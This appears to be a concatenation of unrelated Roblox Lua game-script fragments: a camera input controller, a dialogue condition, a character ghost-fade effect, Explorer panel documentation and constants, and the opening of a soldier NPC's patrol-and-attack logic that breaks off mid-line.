onHumanoidSubjectChildAdded(child) if child.Name == "BodyHeightScale" and child:IsA("NumberValue") then if heightScaleChangedConn then heightScaleChangedConn:disconnect() end heightScaleChangedConn = child.Changed:connect(rescaleCameraOffset) rescaleCameraOffset(child.Value) end end local function onHumanoidSubjectChildRemoved(child) if child.Name == "BodyHeightScale" then rescaleCameraOffset(1) if heightScaleChangedConn then heightScaleChangedConn:disconnect() heightScaleChangedConn = nil end end end local function onNewCameraSubject() if subjectStateChangedConn then subjectStateChangedConn:disconnect() subjectStateChangedConn = nil end if humanoidChildAddedConn then humanoidChildAddedConn:disconnect() humanoidChildAddedConn = nil end if humanoidChildRemovedConn then humanoidChildRemovedConn:disconnect() humanoidChildRemovedConn = nil end if heightScaleChangedConn then heightScaleChangedConn:disconnect() heightScaleChangedConn = nil end local humanoid = workspace.CurrentCamera and workspace.CurrentCamera.CameraSubject if trackingHumanoid ~= humanoid then cancelCameraFreeze() end if humanoid and humanoid:IsA('Humanoid') then humanoidChildAddedConn = humanoid.ChildAdded:connect(onHumanoidSubjectChildAdded) humanoidChildRemovedConn = humanoid.ChildRemoved:connect(onHumanoidSubjectChildRemoved) for _, child in pairs(humanoid:GetChildren()) do onHumanoidSubjectChildAdded(child) end subjectStateChangedConn = humanoid.StateChanged:connect(function(oldState, newState) if VRService.VREnabled and newState == Enum.HumanoidStateType.Jumping and not this:IsInFirstPerson() then startCameraFreeze(this:GetSubjectPosition(), humanoid) elseif newState ~= Enum.HumanoidStateType.Jumping and newState ~= Enum.HumanoidStateType.Freefall then cancelCameraFreeze(true) end end) end end local function onCurrentCameraChanged() if cameraSubjectChangedConn then cameraSubjectChangedConn:disconnect() cameraSubjectChangedConn = nil end local camera = workspace.CurrentCamera if camera then cameraSubjectChangedConn = camera:GetPropertyChangedSignal("CameraSubject"):connect(onNewCameraSubject) onNewCameraSubject() end end function this:GetVRFocus(subjectPosition, timeDelta) local newFocus = nil local camera = workspace.CurrentCamera local lastFocus = self.LastCameraFocus or subjectPosition if not cameraFrozen then cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, math.min(1, cameraTranslationConstraints.y + 0.42 * timeDelta), cameraTranslationConstraints.z) end if cameraFrozen and humanoidJumpOrigin and humanoidJumpOrigin.y > lastFocus.y then newFocus = CFrame.new(Vector3.new(subjectPosition.x, math.min(humanoidJumpOrigin.y, lastFocus.y + 5 * timeDelta), subjectPosition.z)) else newFocus = CFrame.new(Vector3.new(subjectPosition.x, lastFocus.y, subjectPosition.z):lerp(subjectPosition, cameraTranslationConstraints.y)) end if cameraFrozen then -- No longer in 3rd person if self:IsInFirstPerson() then -- not VRService.VREnabled cancelCameraFreeze() end -- This case you jumped off a cliff and want to keep your character in view -- 0.5 is to fix floating point error when not jumping off cliffs if humanoidJumpOrigin and subjectPosition.y < (humanoidJumpOrigin.y - 0.5) then cancelCameraFreeze() end end return newFocus end ------------------------ ---- Input Events ---- local startPos = nil local lastPos = nil local panBeginLook = nil local lastTapTime = nil local fingerTouches = {} local NumUnsunkTouches = 0 local inputStartPositions = {} local inputStartTimes = {} local StartingDiff = nil local pinchBeginZoom = nil this.ZoomEnabled = true this.PanEnabled = true this.KeyPanEnabled = true local function OnTouchBegan(input, processed) --If isDynamicThumbstickEnabled, then only process TouchBegan event if it starts in GestureArea local dtFrame = getDynamicThumbstickFrame() if (not touchWorkspaceEventEnabled and not isDynamicThumbstickEnabled) or positionIntersectsGuiObject(input.Position, GestureArea) and (not dtFrame or not positionIntersectsGuiObject(input.Position, dtFrame)) then fingerTouches[input] = processed if not processed then inputStartPositions[input] = input.Position inputStartTimes[input] = tick() NumUnsunkTouches = NumUnsunkTouches + 1 end end end local function OnTouchChanged(input, processed) if fingerTouches[input] == nil then if isDynamicThumbstickEnabled then return end fingerTouches[input] = processed if not processed then NumUnsunkTouches = NumUnsunkTouches + 1 end end if NumUnsunkTouches == 1 then if fingerTouches[input] == false then panBeginLook = panBeginLook or this:GetCameraLook() startPos = startPos or input.Position lastPos = lastPos or startPos this.UserPanningTheCamera = true local delta = input.Position - lastPos delta = Vector2.new(delta.X, delta.Y * GameSettings:GetCameraYInvertValue()) if this.PanEnabled then local desiredXYVector = this:ScreenTranslationToAngle(delta) * TOUCH_SENSITIVTY this.RotateInput = this.RotateInput + desiredXYVector end lastPos = input.Position end else panBeginLook = nil startPos = nil lastPos = nil this.UserPanningTheCamera = false end if NumUnsunkTouches == 2 then local unsunkTouches = {} for touch, wasSunk in pairs(fingerTouches) do if not wasSunk then table.insert(unsunkTouches, touch) end end if #unsunkTouches == 2 then local difference = (unsunkTouches[1].Position - unsunkTouches[2].Position).magnitude if StartingDiff and pinchBeginZoom then local scale = difference / math_max(0.01, StartingDiff) local clampedScale = clamp(0.1, 10, scale) if this.ZoomEnabled then this:ZoomCamera(pinchBeginZoom / clampedScale) end else StartingDiff = difference pinchBeginZoom = this:GetCameraActualZoom() end end else StartingDiff = nil pinchBeginZoom = nil end end local function calcLookBehindRotateInput(torso) if torso then local newDesiredLook = (torso.CFrame.lookVector - Vector3.new(0, math.sin(math.rad(DEFAULT_CAMERA_ANGLE), 0))).unit local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook()) local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y) if not IsFinite(horizontalShift) then horizontalShift = 0 end if not IsFinite(vertShift) then vertShift = 0 end return Vector2.new(horizontalShift, vertShift) end return nil end local OnTouchTap = nil if not touchWorkspaceEventEnabled then OnTouchTap = function(position) if isDynamicThumbstickEnabled and not IsAToolEquipped then if lastTapTime and tick() - lastTapTime < MAX_TIME_FOR_DOUBLE_TAP then local tween = { from = this:GetCameraZoom(), to = DefaultZoom, start = tick(), duration = 0.2, func = function(from, to, alpha) this:ZoomCamera(from + (to - from)*alpha) return to end } tweens["Zoom"] = tween else local humanoid = this:GetHumanoid() if humanoid then local player = PlayersService.LocalPlayer if player and player.Character then if humanoid and humanoid.Torso then local tween = { from = this.RotateInput, to = calcLookBehindRotateInput(humanoid.Torso), start = tick(), duration = 0.2, func = function(from, to, alpha) to = calcLookBehindRotateInput(humanoid.Torso) if to then this.RotateInput = from + (to - from)*alpha end return to end } tweens["Rotate"] = tween -- reset old camera info so follow cam doesn't rotate us this.LastCameraTransform = nil end end end end lastTapTime = tick() end end end local function IsTouchTap(input) -- We can't make the assumption that the input exists in the inputStartPositions because we may have switched from a different camera type. if inputStartPositions[input] then local posDelta = (inputStartPositions[input] - input.Position).magnitude if posDelta < MAX_TAP_POS_DELTA then local timeDelta = inputStartTimes[input] - tick() if timeDelta < MAX_TAP_TIME_DELTA then return true end end end return false end local function OnTouchEnded(input, processed) if fingerTouches[input] == false then if NumUnsunkTouches == 1 then panBeginLook = nil startPos = nil lastPos = nil this.UserPanningTheCamera = false if not touchWorkspaceEventEnabled and IsTouchTap(input) then OnTouchTap(input.Position) end elseif NumUnsunkTouches == 2 then StartingDiff = nil pinchBeginZoom = nil end end if fingerTouches[input] ~= nil and fingerTouches[input] == false then NumUnsunkTouches = NumUnsunkTouches - 1 end fingerTouches[input] = nil inputStartPositions[input] = nil inputStartTimes[input] = nil end local function OnMousePanButtonPressed(input, processed) if processed then return end this:UpdateMouseBehavior() panBeginLook = panBeginLook or this:GetCameraLook() startPos = startPos or input.Position lastPos = lastPos or startPos this.UserPanningTheCamera = true end local function OnMousePanButtonReleased(input, processed) this:UpdateMouseBehavior() if not (isRightMouseDown or isMiddleMouseDown) then panBeginLook = nil startPos = nil lastPos = nil this.UserPanningTheCamera = false end end local function OnMouse2Down(input, processed) if processed then return end isRightMouseDown = true OnMousePanButtonPressed(input, processed) end local function OnMouse2Up(input, processed) isRightMouseDown = false OnMousePanButtonReleased(input, processed) end local function OnMouse3Down(input, processed) if processed then return end isMiddleMouseDown = true OnMousePanButtonPressed(input, processed) end local function OnMouse3Up(input, processed) isMiddleMouseDown = false OnMousePanButtonReleased(input, processed) end local function OnMouseMoved(input, processed) if not hasGameLoaded and VRService.VREnabled then return end local inputDelta = input.Delta inputDelta = Vector2.new(inputDelta.X, inputDelta.Y * GameSettings:GetCameraYInvertValue()) if startPos and lastPos and panBeginLook then local currPos = lastPos + input.Delta local totalTrans = currPos - startPos if this.PanEnabled then local desiredXYVector = this:MouseTranslationToAngle(inputDelta) * MOUSE_SENSITIVITY this.RotateInput = this.RotateInput + desiredXYVector end lastPos = currPos elseif this:IsInFirstPerson() or this:GetShiftLock() then if this.PanEnabled then local desiredXYVector = this:MouseTranslationToAngle(inputDelta) * MOUSE_SENSITIVITY this.RotateInput = this.RotateInput + desiredXYVector end end end local function OnMouseWheel(input, processed) if not hasGameLoaded and VRService.VREnabled then return end if not processed then if this.ZoomEnabled then this:ZoomCameraBy(clamp(-1, 1, -input.Position.Z) * 1.4) end end end local function round(num) return math_floor(num + 0.5) end local eight2Pi = math_pi / 4 local function rotateVectorByAngleAndRound(camLook, rotateAngle, roundAmount) if camLook ~= ZERO_VECTOR3 then camLook = camLook.unit local currAngle = math_atan2(camLook.z, camLook.x) local newAngle = round((math_atan2(camLook.z, camLook.x) + rotateAngle) / roundAmount) * roundAmount return newAngle - currAngle end return 0 end local function OnKeyDown(input, processed) if not hasGameLoaded and VRService.VREnabled then return end if processed then return end if this.ZoomEnabled then if input.KeyCode == Enum.KeyCode.I then this:ZoomCameraBy(-5) elseif input.KeyCode == Enum.KeyCode.O then this:ZoomCameraBy(5) end end if panBeginLook == nil and this.KeyPanEnabled then if input.KeyCode == Enum.KeyCode.Left then this.TurningLeft = true elseif input.KeyCode == Enum.KeyCode.Right then this.TurningRight = true elseif input.KeyCode == Enum.KeyCode.Comma then local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), -eight2Pi * (3/4), eight2Pi) if angle ~= 0 then this.RotateInput = this.RotateInput + Vector2.new(angle, 0) this.LastUserPanCamera = tick() this.LastCameraTransform = nil end elseif input.KeyCode == Enum.KeyCode.Period then local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), eight2Pi * (3/4), eight2Pi) if angle ~= 0 then this.RotateInput = this.RotateInput + Vector2.new(angle, 0) this.LastUserPanCamera = tick() this.LastCameraTransform = nil end elseif input.KeyCode == Enum.KeyCode.PageUp then --elseif input.KeyCode == Enum.KeyCode.Home then this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(15)) this.LastCameraTransform = nil elseif input.KeyCode == Enum.KeyCode.PageDown then --elseif input.KeyCode == Enum.KeyCode.End then this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(-15)) this.LastCameraTransform = nil end end end local function OnKeyUp(input, processed) if input.KeyCode == Enum.KeyCode.Left then this.TurningLeft = false elseif input.KeyCode == Enum.KeyCode.Right then this.TurningRight = false end end local function onWindowFocusReleased() this:ResetInputStates() end local lastThumbstickRotate = nil local numOfSeconds = 0.7 local currentSpeed = 0 local maxSpeed = 6 local vrMaxSpeed = 4 local lastThumbstickPos = Vector2.new(0,0) local ySensitivity = 0.65 local lastVelocity = nil -- K is a tunable parameter that changes the shape of the S-curve -- the larger K is the more straight/linear the curve gets local k = 0.35 local lowerK = 0.8 local function SCurveTranform(t) t = clamp(-1,1,t) if t >= 0 then return (k*t) / (k - t + 1) end return -((lowerK*-t) / (lowerK + t + 1)) end -- DEADZONE local DEADZONE = 0.1 local function toSCurveSpace(t) return (1 + DEADZONE) * (2*math.abs(t) - 1) - DEADZONE end local function fromSCurveSpace(t) return t/2 + 0.5 end local function gamepadLinearToCurve(thumbstickPosition) local function onAxis(axisValue) local sign = 1 if axisValue < 0 then sign = -1 end local point = fromSCurveSpace(SCurveTranform(toSCurveSpace(math.abs(axisValue)))) point = point * sign return clamp(-1, 1, point) end return Vector2_new(onAxis(thumbstickPosition.x), onAxis(thumbstickPosition.y)) end function this:UpdateGamepad() local gamepadPan = this.GamepadPanningCamera if gamepadPan and (hasGameLoaded or not VRService.VREnabled) then gamepadPan = gamepadLinearToCurve(gamepadPan) local currentTime = tick() if gamepadPan.X ~= 0 or gamepadPan.Y ~= 0 then this.userPanningTheCamera = true elseif gamepadPan == ZERO_VECTOR2 then lastThumbstickRotate = nil if lastThumbstickPos == ZERO_VECTOR2 then currentSpeed = 0 end end local finalConstant = 0 if lastThumbstickRotate then if VRService.VREnabled then currentSpeed = vrMaxSpeed else local elapsedTime = (currentTime - lastThumbstickRotate) * 10 currentSpeed = currentSpeed + (maxSpeed * ((elapsedTime*elapsedTime)/numOfSeconds)) if currentSpeed > maxSpeed then currentSpeed = maxSpeed end if lastVelocity then local velocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate) local velocityDeltaMag = (velocity - lastVelocity).magnitude if velocityDeltaMag > 12 then currentSpeed = currentSpeed * (20/velocityDeltaMag) if currentSpeed > maxSpeed then currentSpeed = maxSpeed end end end end local success, gamepadCameraSensitivity = pcall(function() return GameSettings.GamepadCameraSensitivity end) finalConstant = success and (gamepadCameraSensitivity * currentSpeed) or currentSpeed lastVelocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate) end lastThumbstickPos = gamepadPan lastThumbstickRotate = currentTime return Vector2_new( gamepadPan.X * finalConstant, gamepadPan.Y * finalConstant * ySensitivity * GameSettings:GetCameraYInvertValue()) end return ZERO_VECTOR2 end local InputBeganConn, InputChangedConn, InputEndedConn, WindowUnfocusConn, MenuOpenedConn, ShiftLockToggleConn, GamepadConnectedConn, GamepadDisconnectedConn, TouchActivateConn = nil, nil, nil, nil, nil, nil, nil, nil, nil function this:DisconnectInputEvents() if InputBeganConn then InputBeganConn:disconnect() InputBeganConn = nil end if InputChangedConn then InputChangedConn:disconnect() InputChangedConn = nil end if InputEndedConn then InputEndedConn:disconnect() InputEndedConn = nil end if WindowUnfocusConn then WindowUnfocusConn:disconnect() WindowUnfocusConn = nil end if MenuOpenedConn then MenuOpenedConn:disconnect() MenuOpenedConn = nil end if ShiftLockToggleConn then ShiftLockToggleConn:disconnect() ShiftLockToggleConn = nil end if GamepadConnectedConn then GamepadConnectedConn:disconnect() GamepadConnectedConn = nil end if GamepadDisconnectedConn then GamepadDisconnectedConn:disconnect() GamepadDisconnectedConn = nil end if subjectStateChangedConn then subjectStateChangedConn:disconnect() subjectStateChangedConn = nil end if workspaceChangedConn then workspaceChangedConn:disconnect() workspaceChangedConn = nil end if TouchActivateConn then TouchActivateConn:disconnect() TouchActivateConn = nil end this.TurningLeft = false this.TurningRight = false this.LastCameraTransform = nil self.LastSubjectCFrame = nil this.UserPanningTheCamera = false this.RotateInput = Vector2.new() this.GamepadPanningCamera = Vector2.new(0,0) -- Reset input states startPos = nil lastPos = nil panBeginLook = nil isRightMouseDown = false isMiddleMouseDown = false fingerTouches = {} NumUnsunkTouches = 0 StartingDiff = nil pinchBeginZoom = nil -- Unlock mouse for example if right mouse button was being held down if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then UserInputService.MouseBehavior = Enum.MouseBehavior.Default end end function this:ResetInputStates() isRightMouseDown = false isMiddleMouseDown = false this.TurningRight = false this.TurningLeft = false OnMousePanButtonReleased() -- this function doesn't seem to actually need parameters if UserInputService.TouchEnabled then --[[menu opening was causing serious touch issues this should disable all active touch events if they're active when menu opens.]] for inputObject, value in pairs(fingerTouches) do fingerTouches[inputObject] = nil end panBeginLook = nil startPos = nil lastPos = nil this.UserPanningTheCamera = false StartingDiff = nil pinchBeginZoom = nil NumUnsunkTouches = 0 end end function this.getGamepadPan(name, state, input) if state == Enum.UserInputState.Cancel then this.GamepadPanningCamera = ZERO_VECTOR2 return end if input.UserInputType == this.activeGamepad and input.KeyCode == Enum.KeyCode.Thumbstick2 then local inputVector = Vector2.new(input.Position.X, -input.Position.Y) if inputVector.magnitude > THUMBSTICK_DEADZONE then this.GamepadPanningCamera = Vector2_new(input.Position.X, -input.Position.Y) else this.GamepadPanningCamera = ZERO_VECTOR2 end end end function this.doGamepadZoom(name, state, input) if input.UserInputType == this.activeGamepad and input.KeyCode == Enum.KeyCode.ButtonR3 and state == Enum.UserInputState.Begin then if this.ZoomEnabled then if this:GetCameraZoom() > 0.5 then this:ZoomCamera(0) else this:ZoomCamera(10) end end end end function this:BindGamepadInputActions() ContextActionService:BindAction("RootCamGamepadPan", this.getGamepadPan, false, Enum.KeyCode.Thumbstick2) ContextActionService:BindAction("RootCamGamepadZoom", this.doGamepadZoom, false, Enum.KeyCode.ButtonR3) end function this:ConnectInputEvents() InputBeganConn = UserInputService.InputBegan:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then OnTouchBegan(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton2 then OnMouse2Down(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton3 then OnMouse3Down(input, processed) end -- Keyboard if input.UserInputType == Enum.UserInputType.Keyboard then OnKeyDown(input, processed) end end) InputChangedConn = UserInputService.InputChanged:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then OnTouchChanged(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseMovement then OnMouseMoved(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseWheel then OnMouseWheel(input, processed) end end) InputEndedConn = UserInputService.InputEnded:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then OnTouchEnded(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton2 then OnMouse2Up(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton3 then OnMouse3Up(input, processed) end -- Keyboard if input.UserInputType == Enum.UserInputType.Keyboard then OnKeyUp(input, processed) end end) WindowUnfocusConn = UserInputService.WindowFocusReleased:connect(onWindowFocusReleased) MenuOpenedConn = GuiService.MenuOpened:connect(function() this:ResetInputStates() end) workspaceChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(onCurrentCameraChanged) if workspace.CurrentCamera then onCurrentCameraChanged() end ShiftLockToggleConn = ShiftLockController.OnShiftLockToggled.Event:connect(function() this:UpdateMouseBehavior() end) this.RotateInput = Vector2.new() this.activeGamepad = nil local function assignActivateGamepad() local connectedGamepads = UserInputService:GetConnectedGamepads() if #connectedGamepads > 0 then for i = 1, #connectedGamepads do if this.activeGamepad == nil then this.activeGamepad = connectedGamepads[i] elseif connectedGamepads[i].Value < this.activeGamepad.Value then this.activeGamepad = connectedGamepads[i] end end end if this.activeGamepad == nil then -- nothing is connected, at least set up for gamepad1 this.activeGamepad = Enum.UserInputType.Gamepad1 end end GamepadConnectedConn = UserInputService.GamepadDisconnected:connect(function(gamepadEnum) if this.activeGamepad ~= gamepadEnum then return end this.activeGamepad = nil assignActivateGamepad() end) GamepadDisconnectedConn = UserInputService.GamepadConnected:connect(function(gamepadEnum) if this.activeGamepad == nil then assignActivateGamepad() end end) self:BindGamepadInputActions() assignActivateGamepad() -- set mouse behavior self:UpdateMouseBehavior() end --Process tweens related to tap-to-recenter and double-tap-to-zoom --Needs to be called from specific cameras on each update function this:ProcessTweens() for name, tween in pairs(tweens) do local alpha = math.min(1.0, (tick() - tween.start)/tween.duration) tween.to = tween.func(tween.from, tween.to, alpha) if math.abs(1 - alpha) < 0.0001 then tweens[name] = nil end end end function this:SetEnabled(newState) if newState ~= self.Enabled then self.Enabled = newState if self.Enabled then self:ConnectInputEvents() self.cframe = workspace.CurrentCamera.CFrame else self:DisconnectInputEvents() end end end local function OnPlayerAdded(player) player.Changed:connect(function(prop) if this.Enabled then if prop == "CameraMode" or prop == "CameraMaxZoomDistance" or prop == "CameraMinZoomDistance" then this:ZoomCameraFixedBy(0) end end end) local function OnCharacterAdded(newCharacter) local humanoid = findPlayerHumanoid(player) local start = tick() while tick() - start < 0.3 and (humanoid == nil or humanoid.Torso == nil) do wait() humanoid = findPlayerHumanoid(player) end if humanoid and humanoid.Torso and player.Character == newCharacter then local newDesiredLook = (humanoid.Torso.CFrame.lookVector - Vector3.new(0, math.sin(math.rad(DEFAULT_CAMERA_ANGLE)), 0)).unit local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook()) local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y) if not IsFinite(horizontalShift) then horizontalShift = 0 end if not IsFinite(vertShift) then vertShift = 0 end this.RotateInput = Vector2.new(horizontalShift, vertShift) -- reset old camera info so follow cam doesn't rotate us this.LastCameraTransform = nil end -- Need to wait for camera cframe to update before we zoom in -- Not waiting will force camera to original cframe wait() this:ZoomCamera(this.DefaultZoom) end player.CharacterAdded:connect(function(character) if this.Enabled or SetCameraOnSpawn then OnCharacterAdded(character) SetCameraOnSpawn = false end end) if player.Character then spawn(function() OnCharacterAdded(player.Character) end) end end if PlayersService.LocalPlayer then OnPlayerAdded(PlayersService.LocalPlayer) end PlayersService.ChildAdded:connect(function(child) if child and PlayersService.LocalPlayer == child then OnPlayerAdded(PlayersService.LocalPlayer) end end) local function OnGameLoaded() hasGameLoaded = true end spawn(function() if game:IsLoaded() then OnGameLoaded() else game.Loaded:wait() OnGameLoaded() end end) local function OnDynamicThumbstickEnabled() if UserInputService.TouchEnabled then isDynamicThumbstickEnabled = true end end local function OnDynamicThumbstickDisabled() isDynamicThumbstickEnabled = false end local function OnGameSettingsTouchMovementModeChanged() if LocalPlayer.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice then if GameSettings.TouchMovementMode.Name == "DynamicThumbstick" then OnDynamicThumbstickEnabled() else OnDynamicThumbstickDisabled() end end end local function OnDevTouchMovementModeChanged() if LocalPlayer.DevTouchMovementMode.Name == "DynamicThumbstick" then OnDynamicThumbstickEnabled() else OnGameSettingsTouchMovementModeChanged() end end if PlayersService.LocalPlayer then PlayersService.LocalPlayer.Changed:Connect(function(prop) if prop == "DevTouchMovementMode" then OnDevTouchMovementModeChanged() end end) OnDevTouchMovementModeChanged() end GameSettings.Changed:Connect(function(prop) if prop == "TouchMovementMode" then OnGameSettingsTouchMovementModeChanged() end end) OnGameSettingsTouchMovementModeChanged() GameSettings:SetCameraYInvertVisible() pcall(function() GameSettings:SetGamepadCameraSensitivityVisible() end) return this end return CreateCamera
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) return plrData.Classes.Base.Smasher.SpokeToJex.Value end
--Made by Luckymaxer
Character = script.Parent Humanoid = Character:FindFirstChild("Humanoid") Players = game:GetService("Players") Debris = game:GetService("Debris") BaseUrl = "http://www.roblox.com/asset/?id=" WindDirection = script:WaitForChild("WindDirection") Force = script:WaitForChild("Force") Functions = require(script:WaitForChild("Functions")) Gravity = 196.20 BasePart = Instance.new("Part") BasePart.Shape = Enum.PartType.Block BasePart.Material = Enum.Material.Plastic BasePart.TopSurface = Enum.SurfaceType.Smooth BasePart.BottomSurface = Enum.SurfaceType.Smooth BasePart.FormFactor = Enum.FormFactor.Custom BasePart.Size = Vector3.new(0.2, 0.2, 0.2) BasePart.CanCollide = true BasePart.Locked = true BasePart.Anchored = false DisplayParts = {} Rate = (1 / 60) function DestroyScript() Debris:AddItem(script, 0.5) end if not Humanoid then DestroyScript() return end local FakeModel = Instance.new("Model") FakeModel.Name = "Ghost" Objects = Functions.Redesign(Character) for i, v in pairs(Objects) do v = v.Object if v:IsA("BasePart") then local FakePart = v:Clone() FakePart.CanCollide = false for ii, vv in pairs(FakePart:GetChildren()) do if vv:IsA("JointInstance") then vv:Destroy() end end for ii, vv in pairs(Objects) do vv = vv.Object if vv:IsA("CharacterMesh") and string.gsub(v.Name, " ", "") == vv.BodyPart.Name then local Mesh = Instance.new("SpecialMesh") Mesh.MeshType = Enum.MeshType.FileMesh Mesh.MeshId = (BaseUrl .. vv.MeshId) Mesh.TextureId = (BaseUrl .. vv.BaseTextureId) Mesh.Scale = Vector3.new(1, 1, 1) Mesh.Offset = Vector3.new(0, 0, 0) Mesh.VertexColor = Vector3.new(1, 1, 1) Mesh.Parent = FakePart end end FakePart.Parent = FakeModel v:Destroy() end end Objects = Functions.Redesign(FakeModel) for i, v in pairs(Objects) do v = v.Object if v:IsA("BasePart") then local Mass = (v:GetMass() * Gravity ^ 2) local BodyVelocity = Instance.new("BodyVelocity") BodyVelocity.maxForce = Vector3.new(Mass, Mass, Mass) BodyVelocity.velocity = (WindDirection.Value * Force.Value) BodyVelocity.Parent = v if v.Name == "Torso" then end v.Name = "Effect" if v.Transparency < 1 then table.insert(DisplayParts, v) end elseif v:IsA("Decal") or v:IsA("Texture") then if v.Transparency < 1 then table.insert(DisplayParts, v) end end end Delay(0.1, (function() local FadeRate = 30 for i = 1, ((1 - Functions.DarkProperties.All.Transparency) * (1 * FadeRate)) do for ii, vv in pairs(DisplayParts) do if vv and vv.Parent then vv.Transparency = (vv.Transparency + (1 / FadeRate)) end end wait(Rate) end if FakeModel and FakeModel.Parent then FakeModel:Destroy() end end)) BoundaryBox = BasePart:Clone() BoundaryBox.Name = "Effect" BoundaryBox.Transparency = 1 BoundaryBox.CanCollide = false BoundaryBox.Size = FakeModel:GetModelSize() BoundaryBox.CFrame = FakeModel:GetModelCFrame() BoundaryBox.Parent = FakeModel Functions.Weld(FakeModel, BoundaryBox) Debris:AddItem(FakeModel, 10) FakeModel.Parent = game:GetService("Workspace")
--[[ # Explorer Panel A GUI panel that displays the game hierarchy. ## Selection Bindables - `Function GetSelection ( )` Returns an array of objects representing the objects currently selected in the panel. - `Function SetSelection ( Objects selection )` Sets the objects that are selected in the panel. `selection` is an array of objects. - `Event SelectionChanged ( )` Fired after the selection changes. ## Option Bindables - `Function GetOption ( string optionName )` If `optionName` is given, returns the value of that option. Otherwise, returns a table of options and their current values. - `Function SetOption ( string optionName, bool value )` Sets `optionName` to `value`. Options: - Modifiable Whether objects can be modified by the panel. Note that modifying objects depends on being able to select them. If Selectable is false, then Actions will not be available. Reparenting is still possible, but only for the dragged object. - Selectable Whether objects can be selected. If Modifiable is false, then left-clicking will perform a drag selection. ## Updates - 2013-09-18 - Fixed explorer icons to match studio explorer. - 2013-09-14 - Added GetOption and SetOption bindables. - Option: Modifiable; sets whether objects can be modified by the panel. - Option: Selectable; sets whether objects can be selected. - Slight modification to left-click selection behavior. - Improved layout and scaling. - 2013-09-13 - Added drag to reparent objects. - Left-click to select/deselect object. - Left-click and drag unselected object to reparent single object. - Left-click and drag selected object to move reparent entire selection. - Right-click while dragging to cancel. - 2013-09-11 - Added explorer panel header with actions. - Added Cut action. - Added Copy action. - Added Paste action. - Added Delete action. - Added drag selection. - Left-click: Add to selection on drag. - Right-click: Add to or remove from selection on drag. - Ensured SelectionChanged fires only when the selection actually changes. - Added documentation and change log. - Fixed thread issue. - 2013-09-09 - Added basic multi-selection. - Left-click to set selection. - Right-click to add to or remove from selection. - Removed "Selection" ObjectValue. - Added GetSelection BindableFunction. - Added SetSelection BindableFunction. - Added SelectionChanged BindableEvent. - Changed font to SourceSans. - 2013-08-31 - Improved GUI sizing based off of `GUI_SIZE` constant. - Automatic font size detection. - 2013-08-27 - Initial explorer panel. ## Todo - Sorting - by ExplorerOrder - by children - by name - Drag objects to reparent ]]
local ENTRY_SIZE = GUI_SIZE + ENTRY_PADDING*2 local ENTRY_BOUND = ENTRY_SIZE + ENTRY_MARGIN local HEADER_SIZE = ENTRY_SIZE*2 local FONT = 'SourceSans' local FONT_SIZE do local size = {8,9,10,11,12,14,18,24,36,48} local s local n = math.huge for i = 1,#size do if size[i] <= GUI_SIZE then FONT_SIZE = i - 1 end end end local GuiColor = { Background = Color3_fromRGB(37, 37, 42), Border = Color3_fromRGB(20, 20, 25), Selected = Color3_fromRGB(5, 100, 145), BorderSelected = Color3_fromRGB(2, 125, 145), Text = Color3_fromRGB(245, 245, 250), TextDisabled = Color3_fromRGB(190, 190, 195), TextSelected = Color3_fromRGB(255, 255, 255), Button = Color3_fromRGB(31, 31, 35), ButtonBorder = Color3_fromRGB(135, 135, 140), ButtonSelected = Color3_fromRGB(0, 170, 155), Field = Color3_fromRGB(37, 37, 42), FieldBorder = Color3_fromRGB(50, 50, 55), TitleBackground = Color3_fromRGB(10, 10, 15) }
--[[ Implementation ]]
local function isAlive() return maid.humanoid.Health > 0 and maid.humanoid:GetState() ~= Enum.HumanoidStateType.Dead end local function destroy() maid:destroy() end local function patrol() while isAlive() do if not attacking then local position = getRandomPointInCircle(startPosition, PATROL_RADIUS) maid.humanoid.WalkSpeed = PATROL_WALKSPEED maid.humanoid:MoveTo(position) end wait(random:NextInteger(MIN_REPOSITION_TIME, MAX_REPOSITION_TIME)) end end local function isInstaceAttackable(targetInstance) local targetHumanoid = targetInstance and targetInstance.Parent and targetInstance.Parent:FindFirstChild("Humanoid") if not targetHumanoid then return false end -- Determine if they are attackable, depening on the attack mode local isEnemy = false if ATTACK_MODE == 1 then -- Attack characters with the SoldierEnemy tag if CollectionService:HasTag(targetInstance.Parent, "SoldierEnemy") and not CollectionService:HasTag(targetInstance.Parent, "SoldierFriend") then isEnemy = true end elseif ATTACK_MODE == 2 then -- Attack all humanoids without the SoldierFriend tag if not CollectionService:HasTag(targetInstance.Parent, "SoldierFriend") then isEnemy = true end elseif ATTACK_MODE == 3 then -- Attack all humanoids isEnemy = true end local isAttackable = false local distance = (maid.humanoidRootPart.Position - targetInstance.Position).Magnitude if distance <= ATTACK_RADIUS then local ray = Ray.new( maid.humanoidRootPart.Position, (targetInstance.Parent.HumanoidRootPart.Position - maid.humanoidRootPart.Position).Unit * distance ) local part = Workspace:FindPartOnRayWithIgnoreList(ray, { targetInstance.Parent, maid.instance, }, false, true) if isEnemy and targetInstance ~= maid.instance and targetInstance:IsDescendantOf(Workspace) and targetHumanoid.Health > 0 and targetHumanoid:GetState() ~= 